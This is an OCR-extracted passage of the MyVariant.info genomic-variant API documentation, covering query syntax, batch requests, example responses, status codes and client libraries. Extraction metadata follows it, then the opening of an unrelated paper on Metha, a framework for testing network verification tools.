</tr>
<tr>
<td>q=dbnsfp.polyphen2.hdiv.pred:(D P)</td>
<td># multiple values for a field</td>
</tr>
<tr>
<td>q=dbnsfp.polyphen2.hdiv.pred:(D OR P)</td>
<td># multiple values for a field using OR</td>
</tr>
<tr>
<td>q=<em>exists</em>:dbsnp</td>
<td># having dbsnp field</td>
</tr>
<tr>
<td>q=<em>missing</em>:exac</td>
<td># missing exac field</td>
</tr>
</tbody>
</table>
Hint: For a list of available fields, see [here](#).
Range queries
<table>
<thead>
<tr>
<th>Query</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>q=dbnsfp.polyphen2.hdiv.score:>0.99</td>
<td># bounded (including 76640 and 80000)</td>
</tr>
<tr>
<td>q=dbnsfp.polyphen2.hdiv.score:>=0.99</td>
<td># unbounded</td>
</tr>
<tr>
<td>q=exac.af:<0.00001</td>
<td></td>
</tr>
<tr>
<td>q=exac.af:<=0.00001</td>
<td></td>
</tr>
</tbody>
</table>
Wildcard queries
Wildcard character “*” or “?” is supported in either simple queries or fielded queries:
q=dbnsfp.genename:CDK?
q=dbnsfp.genename:CDK*
Note: Wildcard character can not be the first character. It will be ignored.
Scrolling queries
If you want to return ALL results of a very large query, sometimes the paging method described above can take too long. In these cases, you can use a scrolling query. This is a two-step process that turns off database sorting to allow very fast retrieval of all query results. To begin a scrolling query, you first call the query endpoint as you normally would, but with an extra parameter `fetch_all = TRUE`. For example, a GET request to:
http://myvariant.info/v1/query?q=cadd.phred:>50&fetch_all=TRUE
Returns the following object:
```
|
| "_scroll_id":
| "c2NhbjsxMDs5MjQ2OTc2Ok5nM0d0czYzU1cyU0dUU1dFemo5Mmc7MTE1NTgyNjA6RV9La1c5Wk1SQQy16cVFuRXFzcEV3d0s5Mj..."
```
(continues on next page)
At this point, the first 1000 hits have been returned (of ~58,000 total), and a scroll has been set up for your query. To get the next batch of 1000 unordered results, simply execute a GET request to the following address, supplying the _scroll_id from the first step into the scroll_id parameter in the second step:
```
http://myvariant.info/v1/query?scroll_id=c2NhbjxMDsxMTU1NjY5MTPxSnFkTFdvQ1J6T1dRVzNQaWRzQkhROzExNTU4MjYxOkVfS2tXOVpJUkMtenFRbkVxc3BFd3c7MTE1NTY2OTI6cUpxZExXVUJ ... hlVDdFWHlNZzs5MjQ3MTEyOlpQb3M5cDh6VDMyNnczenFhMW1hcVE7OTI0NzA4MjoxNzBGcVVkV1NwU3QtQzJnWHh3RzV3OzE7dG90YWxfaGl0czo1ODc1OTs=
```
**Hint:** Your scroll will remain active for 1 minute from the last time you requested results from it. If your scroll expires before you get the last batch of results, you must re-request the scroll_id by setting `fetch_all = TRUE` as in step 1.
### Boolean operators and grouping
You can use **AND/OR/NOT** boolean operators and grouping to form complicated queries:
```
q=dbnsfp.polyphen2.hdiv.score:>0.99 AND chrom:1
q=_exists_:dbnsnp AND NOT dbsnp.vartype:indel
q=_exists_:dbnsnp AND (NOT dbsnp.vartype:indel)
```
**AND operator**
```
q=dbnsfp.polyphen2.hdiv.score:>0.99 AND chrom:1
```
**NOT operator**
```
q=_exists_:dbnsnp AND NOT dbsnp.vartype:indel
```
**grouping with**
```
q=_exists_:dbnsnp AND (NOT dbsnp.vartype:indel)
```
### Escaping reserved characters
If you need to use these reserved characters in your query, make sure to escape them using a back slash (\````
```
+ - = & | > < ! ( ) { } [ ] ^ " ~ * : \ /)
```
### Returned object
A GET request like this:
```
```
should return hits as:
```
{ "hits": [
], "max_score": 0.0, "took": 84, "total": 58759 }
```
(continued from previous page)
“total” in the output gives the total number of matching hits, while the actual hits are returned under “hits” field. “size” parameter controls how many hits will be returned in one request (default is 10). Adjust “size” parameter and “from” parameter to retrieve the additional hits.
Faceted queries
If you need to perform a faceted query, you can pass an optional “facets” parameter. For example, if you want to get the facets on species, you can pass “facets=taxid”:
A GET request like this:
should return hits as:
```
{
"facets": {
"cadd.polyphen.cat": {
"_type": "terms",
"missing": 797,
"other": 0,
"terms": [
{ "count": 1902, "term": "benign" },
{ "count": 998, "term": "probably_damaging" },
{ "count": 762, "term": "possibly_damaging" }
],
"total": 3662
}
},
"hits": [],
"max_score": 0.0,
"took": 29,
"total": 4459
}
```
3.3.3 Batch queries via POST
Although making simple GET requests above to our variant query service is sufficient for most use cases, there are times you might find it more efficient to make batch queries (e.g., retrieving variant annotation for multiple variants). Fortunately, you can also make batch queries via POST requests when you need:
URL: http://myvariant.info/v1/query
HTTP method: POST
Query parameters
q
Required, multiple query terms separated by comma (also support “+” or white space), but no wildcard, e.g., ‘q=rs58991260,rs2500’
scopes
Optional, specify one or more fields (separated by comma) as the search “scopes”, e.g., “scopes=dbsnp.rsid”, “scopes=dbsnp.rsid,dbnsfp.geneName”. The available “fields” can be passed to “scopes” parameter are listed here. Default:
fields
Optional, a comma-separated string to limit the fields returned from the matching variant hits. The supported field names can be found from any variant object. Note that it supports dot notation, and wildcards as well, e.g., you can pass “dbnsfp”, “dbnsfp.geneName”, or “dbnsfp.aa.*”. If “fields=all”, all available fields will be returned. Default: “all”.
e-mail
Optional, if you are regular users of our services, we encourage you to provide us an email, so that we can better track the usage or follow up with you.
Example code
Unlike GET requests, you can easily test them from browser, make a POST request is often done via a piece of code. Here is a sample python snippet:
```python
import httplib2
h = httplib2.Http()
headers = {'content-type': 'application/x-www-form-urlencoded'}
params = 'q=rs58991260,rs2500&scopes=dbsnp.rsid'
res, con = h.request('http://myvariant.info/v1/query', 'POST', params,
headers=headers)
```
Returned object
Returned result (the value of “con” variable above) from above example code should look like this:
```
[{'id': 'chr1:218631822G>A',
'dbsnp': {'allele_origin': 'unspecified',
'alleles': [['allele': 'G', 'freq': 0.9784],
{'allele': 'A', 'freq': 0.02157}],
'alt': 'A',
'chrom': '1',
'class': 'SNV',
'dbsnp_build': 129,
'flags': ['ASP', 'G5', 'G5A', 'GNO', 'KGPhase1', 'KGPhase3', 'SLO'],
'gmaf': 0.02157,
```
(continues on next page)
Tip: “query” field in returned object indicates the matching query term.
If a query term has no match, it will return with “notfound” field as “true”:
```
[ ...,
{'query': '...',
'notfound': true},
...
]
```
### 3.4 Variant annotation service
This page describes the reference for the MyVariant.info variant annotation web service. It’s also recommended to try it live on our interactive API page.
3.4.1 Service endpoint
http://myvariant.info/v1/variant
3.4.2 GET request
Obtaining the variant annotation via our web service is as simple as calling this URL:
http://myvariant.info/v1/variant/<variantid>
variantid above is an HGVS name based variant id using genomic location based on hg19 human genome assembly. By default, this will return the complete variant annotation object in JSON format. See [here](http://myvariant.info/v1/variant/) for an example and [here](http://myvariant.info/v1/variant/) for more details. If the input variantid is not valid, 404 (NOT FOUND) will be returned.
Optionally, you can pass a “fields” parameter to return only the annotation you want (by filtering returned object fields):
http://myvariant.info/v1/variant/chr1:g.35367G>A?fields=cadd
“fields” accepts any attributes (a.k.a fields) available from the variant object. Multiple attributes should be separated by commas. If an attribute is not available for a specific variant object, it will be ignored. Note that the attribute names are case-sensitive.
Just like the variant query service, you can also pass a “callback” parameter to make a JSONP call.
Query parameters
fields
Optional, can be a comma-separated fields to limit the fields returned from the variant object. If “fields=all”, all available fields will be returned. Note that it supports dot notation as well, e.g., you can pass “cadd.gene”. Default: “fields=all”.
callback
Optional, you can pass a “callback” parameter to make a JSONP call.
filter
Alias for “fields” parameter.
e-mail
Optional, if you are regular users of our services, we encourage you to provide us an email, so that we can better track the usage or follow up with you.
Returned object
A GET request like this:
http://myvariant.info/v1/variant/chr1:g.35367G>A
should return a variant object below:
```json
{
"_id": "chr1:g.35367G>A",
"_version": 2,
"cadd": {
"alt": "A",
"annotype": "NonCodingTranscript",
"bstatistic": 994,
"chmm": {
"bivflnk": 0.0,
"enh": 0.0,
"enhbiv": 0.0,
"het": 0.0,
"quies": 1.0,
"reprpc": 0.0,
"reprpcwk": 0.0,
"tssa": 0.0,
"tssaflink": 0.0,
"tssbiv": 0.0,
"tx": 0.0,
"txflink": 0.0,
"txwk": 0.0,
"znfrpts": 0.0
},
"chrom": 1,
"consdetail": "non_coding_exon,nc",
"consequence": "NONCODING_CHANGE",
"consscore": 5,
"cpg": 0.03,
"dna": {
"helt": -2.04,
"mgw": 0.01,
"prot": 1.54,
"roll": -0.63
},
"encode": {
"exp": 31.46,
"h3k27ac": 23.44,
"h3k4me1": 23.8,
"h3k4me3": 8.6
},
"exon": "2/3",
"fitcons": 0.577621,
"gc": 0.48,
"gene": {
"cds": {
"cdna_pos": 476,
"rel_cdna_pos": 0.4
},
"feature_id": "ENST00000417324",
"gene_id": "ENSG00000237613",
```
"genename": "FAM138A",
},
"gerp": {
"n": 1.29,
"s": -0.558
},
"isknownvariant": "FALSE",
"istv": "FALSE",
"length": 0,
"mapability": {
"20bp": 0,
"35bp": 0
},
"min_dist_tse": 122,
"min_dist_tss": 707,
"mutindex": 70,
"phast_cons": {
"mammalian": 0.003,
"primate": 0.013,
"vertebrate": 0.003
},
"phred": 1.493,
"phylop": {
"mammalian": -0.155,
"primate": 0.151,
"vertebrate": -0.128
},
"pos": 35367,
"rawscore": -0.160079,
"ref": "G",
"scoresegdup": 0.99,
"segway": "D",
"type": "SNV"
},
"dbnsfp": {
"aa": {
"aapos_sift": "ENSP00000409362:P44L",
"alt": "L",
"codonpos": 2,
"pos": 44,
"ref": "P",
"refcodon": "CCG"
},
"alt": "A",
"ancestral_allele": "G",
"cadd": {
"phred": 1.493,
"raw": -0.160079,
"raw_rankscore": 0.05963
},
"cds_strand": "-",
"chrom": "1",
"ensembl": {
"geneid": "ENSG00000237613",
"transcriptid": "ENST00000417324"
},
"fold-degenerate": 0,
} (continued from previous page)
"genename": "FAM138A",
"gerp++": {
"nr": 1.29,
"rs": -0.558,
"rs_rankscore": 0.11796
},
"hg18": {
"end": 25230,
"start": 25230
},
"hg19": {
"end": 35367,
"start": 35367
},
"hg38": {
"end": 35367,
"start": 35367
},
"lr": {
"pred": "T",
"rankscore": 0.32941,
"score": 0.0846
},
"mutationtaster": {
"converted_rankscore": 0.10124,
"pred": "N",
"score": 1.0
},
"phastcons": {
"100way": {
"vertebrate": 0.001,
"vertebrate_rankscore": 0.1272
},
"46way": {
"placental": 0.003,
"placental_rankscore": 0.11579,
"primate": 0.336,
"primate_rankscore": 0.28762
}
},
"phylop": {
"100way": {
"vertebrate": 0.055,
"vertebrate_rankscore": 0.14229
},
"46way": {
"placental": -0.143,
"placental_rankscore": 0.11334,
"primate": 0.175,
"primate_rankscore": 0.17021
}
},
"provean": {
"converted_rankscore": 0.92415,
"pred": "D",
"score": -6.73
},
3.4.3 Batch queries via POST
Although making simple GET requests above to our variant query service is sufficient in most use cases, there are some times you might find it’s easier to batch query (e.g., retrieving variant annotations for multiple variants). Fortunately, you can also make batch queries via POST requests when you need:
**URL:** http://myvariant.info/v1/variant
**HTTP method:** POST
**Query parameters**
**ids**
Required. Accept multiple HGVS variant ids separated by comma, e.g., “ids=chr1:g.35367C>T,chr7:g.55241707G>T,chr16:g.28883241A>G”. Note that currently we only take the input ids up to 1000 maximum, the rest will be omitted.
**fields**
Optional, can be a comma-separated fields to limit the fields returned from the matching hits. If “fields=all”, all available fields will be returned. Note that it supports dot notation as well, e.g., you can pass “dbnsfp”, “dbnsfp.genename”, or “dbnsfp.aa.*”. Default: “all”.
3.4. Variant annotation service
Optional, if you are regular users of our services, we encourage you to provide us an email, so that we can better track the usage or follow up with you.
### Example code
Unlike GET requests, you can easily test them from browser, make a POST request is often done via a piece of code, still trivial of course. Here is a sample python snippet:
```python
import httplib2
h = httplib2.Http()
headers = {'content-type': 'application/x-www-form-urlencoded'}
params = 'ids=chr16:g.28883241A>G,chr1:g.35367G>A&fields=dbnsfp.genename,cadd.gene'
res, con = h.request('http://myvariant.info/v1/variant', 'POST', params, headers=headers)
```
### Returned object
Returned result (the value of “con” variable above) from above example code should look like this:
```json
[
{
"_id": "chr16:g.28883241A>G",
"cadd": {
"gene": {
"cds": {
"cdna_pos": 1889,
"cds_pos": 1450,
"rel_cdna_pos": 0.61,
"rel_cds_pos": 0.64
},
"feature_id": "ENST00000322610",
"gene_id": "ENSG00000178188",
"genename": "SH2B1",
"prot": {
"protpos": 484, "rel_prot_pos": 0.64
}
}
},
"dbnsfp": {
"genename": "SH2B1"
},
"query": "chr16:g.28883241A>G"
},
{
"_id": "chr1:g.35367G>A",
"cadd": {
"gene": {
"cds": {
"cdna_pos": 476,
"rel_cdna_pos": 0.61,
"rel_cds_pos": 0.64
},
"feature_id": "ENST00000417324",
```
(continues on next page)
"gene_id": "ENSG00000237613",
"genename": "FAM138A"
),
"dbnsfp": {
"genename": "FAM138A"
},
"query": "chr1:g.35367G>A"
]}
3.5 Server response
The MyVariant.info server returns a variety of query responses, and response status codes. They are listed here.
Note: These examples show query responses using the python requests package.
3.5.1 Status code 200
A 200 status code indicates a successful query, and is accompanied by the query response payload.
In [1]: import requests
In [2]: r = requests.get('http://myvariant.info/v1/query?q=_exists_:clinvar')
In [3]: r.status_code
Out[3]: 200
In [4]: data = r.json()
In [5]: data.keys()
Out[5]: dict_keys(['total', 'max_score', 'took', 'hits'])
3.5.2 Status code 400
A 400 status code indicates an improperly formed query, and is accompanied by a response payload describing the source of the error.
In [6]: r = requests.get('http://myvariant.info/v1/query?q=_exists_:clinvar&size=u')
In [7]: r.status_code
Out[7]: 400
In [8]: data = r.json()
In [9]: data
Out[9]:
{'error': "Expected 'size' parameter to have integer type. Couldn't convert 'u' to integer",
'success': False}
3.5.3 Status code 404
A 404 status code indicates either an unrecognized URL, as in (/query is misspelled /quer resulting in an unrecognized URL):
```
In [10]: r = requests.get('http://myvariant.info/v1/quer?q=_exists_:clinvar')
In [11]: r.status_code
Out[11]: 404
```
or, for the /variant endpoint, a 404 status code could be from querying for a nonexistent HGVS ID, as in:
```
In [12]: r = requests.get('http://myvariant.info/v1/variant/5')
In [13]: r.status_code
Out[13]: 404
In [14]: data = r.json()
In [15]: data
Out[15]:
{'error': "ID '5' not found",
'success': False}
```
3.5.4 Status code 5xx
Any 5xx status codes are the result of uncaught query errors. Ideally, these should never occur. We routinely check our logs for these types of errors and add code to catch them, but if you see any status 5xx responses, please submit a bug report to help@myvariant.info.
3.6 Third-party packages
This page lists the third-party packages/modules built upon the MyVariant.info services.
3.6.1 MyVariant python module
“myvariant” is an easy-to-use Python wrapper to access MyVariant.info services.
You can install it easily using either pip or easy_install:
```
pip install myvariant
#this is preferred
```
or:
```
easy_install myvariant
```
This is a brief example:
```
In [1]: import myvariant
In [2]: mv = myvariant.MyVariantInfo()
```
In [3]: mv.getvariant('chr1:g.35367G>A')
Out[3]:
{'_id': 'chr1:g.35367G>A',
'_version': 1,
'cadd': {'alt': 'A',
'annotype': 'NonCodingTranscript',
'bstatistic': 994,
'chmm': {'bivflnk': 0.0,
'enh': 0.0,
'enhhbiv': 0.0,
'het': 0.0,
'quies': 1.0,
'reprpc': 0.0,
'reprpcwk': 0.0,
'tss': 0.0,
'tssaflnk': 0.0,
'tssbiv': 0.0,
'tx': 0.0,
'txflnk': 0.0,
'txwk': 0.0,
'znfrpts': 0.0},
'chrom': 1,
'consdetail': 'non_coding_exon,nc',
'consequence': 'NONCODING_CHANGE',
'consscore': 3,
'cpg': 0.03,
'dna': {'helt': -2.04, 'mgw': 0.01, 'prot': 1.54, 'roll': -0.63},
'encode': {'exp': 31.46, 'h3k27ac': 23.44, 'h3k4me1': 23.8, 'h3k4me3': 8.6},
'exon': '2/3',
'fitcons': 0.577621,
'gc': 0.48,
'gene': {'cds': {'cdna_pos': 476, 'rel_cdna_pos': 0.4},
'feature_id': 'ENST00000417324',
'gene_id': 'ENSG00000237613',
'genename': 'FAM138A'},
'gerp': {'n': 1.29, 's': -0.558},
'isknownvariant': 'FALSE',
'istv': 'FALSE',
'length': 0,
'mapability': {'20bp': 0, '35bp': 0},
'min_dist_tse': 122,
'min_dist_tss': 707,
'mutindex': 70,
'phast_cons': {'mammalian': 0.003, 'primate': 0.013, 'vertebrate': 0.003},
'phred': 1.493,
'phylop': {'mammalian': -0.155, 'primate': 0.151, 'vertebrate': -0.128},
'pos': 35367,
'rawscore': -0.160079,
'ref': 'G',
'scoresegdup': 0.99,
'segway': 'D',
'type': 'SNV',
'snpeff': {'ann': [{'effect': 'non_coding_exon_variant',
'feature_id': 'NR_026818.1',
'feature_type': 'transcript',
'gene_id': 'FAM138A',
'gene_name': 'FAM138A'}]}}
{'hgvs_c': 'n.476C>T',
'putative_impact': 'MODIFIER',
'rank': '2',
'total': '3',
'transcript_biotype': 'Noncoding'},
{'effect': 'non_coding_exon_variant',
'feature_id': 'NR_026820.1.2',
'feature_type': 'transcript',
'gene_id': 'FAM138F.2',
'gene_name': 'FAM138F',
'hgvs_c': 'n.476C>T',
'putative_impact': 'MODIFIER',
'rank': '2',
'total': '3',
'transcript_biotype': 'Noncoding'}],
'vcf': {'alt': 'A', 'position': '35367', 'ref': 'G'}
See https://pypi.python.org/pypi/myvariant for more details.
### 3.6.2 MyVariant R package
An R wrapper for the MyVariant.info API is available in Bioconductor since v3.2. To install:
```r
source("https://bioconductor.org/biocLite.R")
biocLite("myvariant")
```
To view documentation for your installation, enter R and type:
```
browseVignettes("myvariant")
```
For more information, visit the Bioconductor myvariant page.
### 3.6.3 MyVariant Node.js package
myvariantjs is a Node.js wrapper for the MyVariant.info API, developed and maintained by Larry Hengl. To install:
```
npm install myvariantjs --save
```
Some brief usage examples:
```javascript
var mv = require('myvariantjs');
mv.getvariant('chr9:g.107620835G>A');
mv.getvariant('chr9:g.107620835G>A', ['dbnsfp.genename', 'cadd.phred']);
mv.getvariants("chr1:g.866422C>T,chr1:g.876664G>A,chr1:g.69635G>C"); // string of delimited ids
mv.getvariants(["chr1:g.866422C>T", "chr1:g.876664G>A", "chr1:g.69635G>C"]);
mv.query("chr1:69000-70000", {fields:'dbnsfp.genename'});
mv.query("dbsnp.rsid:rs58991260", {fields:'dbsnp'});
mv.querymany(['rs58991260', 'rs2500'], 'dbsnp.rsid');
mv.querymany(['RCV000083620', 'RCV000083611', 'RCV000083584'], 'clinvar.rcv_accession');
```
For more information, visit its API and usage docs, and its github code repository.
You can also check out this neat demo application developed by Larry using this myvariantjs package.
### 3.6.4 Another MyVariant.info python module
This is another python wrapper of MyVariant.info services created by Brian Schrader. The repository is available [here](#).
You can install this package with PyPI like this:
```
pip install myvariant-api
```
### 3.6.5 A JBrowse plugin for MyVariant.info and MyGene.info
JBrowse provides a fast, embeddable genome browser built completely with JavaScript and HTML5.
Colin from the JBrowse team made a very nice plugin to visualize the gene and variant annotations in JBrowse Genome Browser, using the data served from both MyGene.info and MyVariant.info APIs.
- Live demo
To see it live, here is the [demo site](#). It has been tested with hg38, hg19, and zebrafish and has mygene.info and myvariant.info integrations
- Source code
[https://github.com/elsiklab/myvariantviewer](#)
- A screenshot
Related links
- github repository
|
{"Source-Url": "https://buildmedia.readthedocs.org/media/pdf/myvariant-info/latest/myvariant-info.pdf", "len_cl100k_base": 10673, "olmocr-version": "0.1.49", "pdf-total-pages": 33, "total-fallback-pages": 0, "total-input-tokens": 64181, "total-output-tokens": 12878, "length": "2e13", "weborganizer": {"__label__adult": 0.0004472732543945313, "__label__art_design": 0.000629425048828125, "__label__crime_law": 0.00036835670471191406, "__label__education_jobs": 0.0008625984191894531, "__label__entertainment": 0.0002028942108154297, "__label__fashion_beauty": 0.0001971721649169922, "__label__finance_business": 0.0002007484436035156, "__label__food_dining": 0.00042891502380371094, "__label__games": 0.0007872581481933594, "__label__hardware": 0.0012788772583007812, "__label__health": 0.0008077621459960938, "__label__history": 0.0003561973571777344, "__label__home_hobbies": 0.00014150142669677734, "__label__industrial": 0.0003752708435058594, "__label__literature": 0.0003230571746826172, "__label__politics": 0.0002435445785522461, "__label__religion": 0.0005326271057128906, "__label__science_tech": 0.0677490234375, "__label__social_life": 0.00021326541900634768, "__label__software": 0.0816650390625, "__label__software_dev": 0.84130859375, "__label__sports_fitness": 0.00030684471130371094, "__label__transportation": 0.0002377033233642578, "__label__travel": 0.00028443336486816406}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 35110, 0.071]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 35110, 0.31841]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 35110, 0.63953]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 0, null], [0, 0, null], [0, 454, false], [454, 615, null], [615, 615, null], [615, 1545, null], [1545, 2276, null], [2276, 4036, null], [4036, 5815, null], [5815, 7682, null], [7682, 10051, null], [10051, 11782, null], [11782, 13076, null], [13076, 15513, null], [15513, 17327, null], [17327, 17612, null], [17612, 18840, null], [18840, 20608, null], [20608, 21017, null], [21017, 22732, null], [22732, 24014, null], [24014, 24992, null], [24992, 25918, null], [25918, 26899, null], [26899, 28418, null], [28418, 29558, null], [29558, 30912, null], [30912, 32351, null], [32351, 34029, null], [34029, 35076, null], [35076, 35076, null], [35076, 35110, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 0, null], [0, 0, null], [0, 454, true], [454, 615, null], [615, 615, null], [615, 1545, null], [1545, 2276, null], [2276, 4036, null], [4036, 5815, null], [5815, 7682, null], [7682, 10051, null], [10051, 11782, null], [11782, 13076, null], [13076, 15513, null], [15513, 17327, null], [17327, 17612, null], [17612, 18840, null], [18840, 20608, null], [20608, 21017, null], [21017, 22732, null], [22732, 24014, null], [24014, 24992, null], [24992, 25918, null], [25918, 26899, null], [26899, 28418, null], [28418, 29558, null], [29558, 30912, null], [30912, 32351, null], [32351, 34029, null], [34029, 35076, null], [35076, 35076, null], [35076, 35110, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 35110, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 35110, null]], "pdf_page_numbers": [[0, 0, 1], [0, 0, 2], [0, 0, 3], [0, 454, 4], [454, 615, 5], [615, 615, 6], [615, 1545, 7], [1545, 2276, 8], [2276, 4036, 9], [4036, 5815, 10], [5815, 7682, 11], [7682, 10051, 12], [10051, 11782, 13], [11782, 13076, 14], [13076, 15513, 15], [15513, 17327, 16], [17327, 17612, 17], [17612, 18840, 18], [18840, 20608, 19], [20608, 21017, 20], [21017, 22732, 21], [22732, 24014, 22], [24014, 24992, 23], [24992, 25918, 24], [25918, 26899, 25], [26899, 28418, 26], [28418, 29558, 27], [29558, 30912, 28], [30912, 32351, 29], [32351, 34029, 30], [34029, 35076, 31], [35076, 35076, 32], [35076, 35110, 33]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 35110, 0.06332]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
31a5622de16bf62db9b53d4caa2f05264a6435c5
|
[REMOVED]
|
{"len_cl100k_base": 10220, "olmocr-version": "0.1.53", "pdf-total-pages": 20, "total-fallback-pages": 0, "total-input-tokens": 46431, "total-output-tokens": 13799, "length": "2e13", "weborganizer": {"__label__adult": 0.0004930496215820312, "__label__art_design": 0.0008845329284667969, "__label__crime_law": 0.0004487037658691406, "__label__education_jobs": 0.0016880035400390625, "__label__entertainment": 0.0002040863037109375, "__label__fashion_beauty": 0.0002815723419189453, "__label__finance_business": 0.00036835670471191406, "__label__food_dining": 0.00044417381286621094, "__label__games": 0.001132965087890625, "__label__hardware": 0.00164794921875, "__label__health": 0.0006933212280273438, "__label__history": 0.0004558563232421875, "__label__home_hobbies": 0.00015544891357421875, "__label__industrial": 0.0006160736083984375, "__label__literature": 0.00032401084899902344, "__label__politics": 0.0004093647003173828, "__label__religion": 0.0006394386291503906, "__label__science_tech": 0.16552734375, "__label__social_life": 0.00016486644744873047, "__label__software": 0.0198822021484375, "__label__software_dev": 0.80224609375, "__label__sports_fitness": 0.0004048347473144531, "__label__transportation": 0.0005979537963867188, "__label__travel": 0.00030517578125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54190, 0.02871]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54190, 0.25332]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54190, 0.86376]], "google_gemma-3-12b-it_contains_pii": [[0, 3450, false], [3450, 7534, null], [7534, 9993, null], [9993, 11864, null], [11864, 14466, null], [14466, 17427, null], [17427, 21695, null], [21695, 23920, null], [23920, 25562, null], [25562, 29263, null], [29263, 30933, null], [30933, 33023, null], [33023, 34830, null], [34830, 39094, null], [39094, 42595, null], [42595, 46231, null], [46231, 48988, null], [48988, 51157, null], [51157, 52626, null], [52626, 54190, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3450, true], [3450, 7534, null], [7534, 9993, null], [9993, 11864, null], [11864, 14466, null], [14466, 17427, null], [17427, 21695, null], [21695, 23920, null], [23920, 25562, null], [25562, 29263, null], [29263, 30933, null], [30933, 33023, null], [33023, 34830, null], [34830, 39094, null], [39094, 42595, null], [42595, 46231, null], [46231, 48988, null], [48988, 51157, null], [51157, 52626, null], [52626, 54190, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54190, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54190, null]], "pdf_page_numbers": [[0, 3450, 1], [3450, 7534, 2], [7534, 9993, 3], [9993, 11864, 4], [11864, 14466, 5], [14466, 17427, 6], [17427, 21695, 7], [21695, 23920, 8], [23920, 25562, 9], [25562, 29263, 10], [29263, 30933, 11], [30933, 33023, 12], [33023, 34830, 13], [34830, 39094, 14], [39094, 42595, 15], [42595, 46231, 16], [46231, 48988, 17], [48988, 51157, 18], [51157, 52626, 19], [52626, 54190, 20]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54190, 0.11702]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
cc6dbae46cfbb52c5d4e50a00c2c1bfe29be2c32
|
Metha: Network Verifiers Need To Be Correct Too!
Metha: Network Verifiers Need To Be Correct Too!
Rüdiger Birkner∗ Tobias Brodmann∗ Petar Tsankov Laurent Vanbever Martin Vechev
∗These authors contributed equally to this work.
ETH Zürich
Abstract
Network analysis and verification tools are often a godsend for network operators as they free them from the fear of introducing outages or security breaches. As with any complex software though, these tools can (and often do) have bugs. For the operators, these bugs are not necessarily problematic except if they affect the precision of the model as it applies to their specific network. In that case, the tool output might be wrong: it might fail to detect actual configuration errors and/or report non-existing ones.
In this paper, we present Metha, a framework that systematically tests network analysis and verification tools for bugs in their network models. Metha automatically generates syntactically- and semantically-valid configurations; compares the tool’s output to that of the actual router software; and detects any discrepancy as a bug in the tool’s model. The challenge in testing network analyzers this way is that a bug may occur very rarely and only when a specific set of configuration statements is present. We address this challenge by leveraging grammar-based fuzzing together with combinatorial testing to ensure thorough coverage of the search space and by identifying the minimal set of statements triggering the bug through delta debugging.
We implemented Metha and used it to test three well-known tools. In all of them, we found multiple (new) bugs in their models, most of which were confirmed by the developers.
1 Introduction
It’s Friday night and you are about to push an important (network) configuration update in production. Usually, you would feel terribly nervous doing so as there is always the possibility that you may have missed something. You are only too aware that misconfigurations happen frequently and can lead to major network outages [22,24,27]. Tonight though you feel confident when pressing “deploy” as you have confirmed the correctness of your configuration update using a state-of-the-art configuration verifer. A few minutes later, your phone rings: none of your customers can reach the Internet anymore.
This fictitious situation illustrates an intrinsic problem with validation technologies: their results can only be completely trusted if their analysis is sound and complete. As with any complex software though, these tools can (and often do) have bugs. To be fair, this is not surprising: building an accurate and faithful network analysis tool is extremely difficult. Among others, one not only has to precisely capture all the different protocols’ behaviors, but also all of the quirks of their specific implementations. Unfortunately, every vendor, every OS, every device can exhibit slightly different behaviors under certain conditions. For all it takes, these behaviors might be the results of bugs themselves. And yet, failing to accurately capture these behaviors—as we show—can lead to incorrect and possibly misleading analysis results.
A fundamental and practical research question is therefore: How can developers make sure that their network analysis and verification tools are correct?
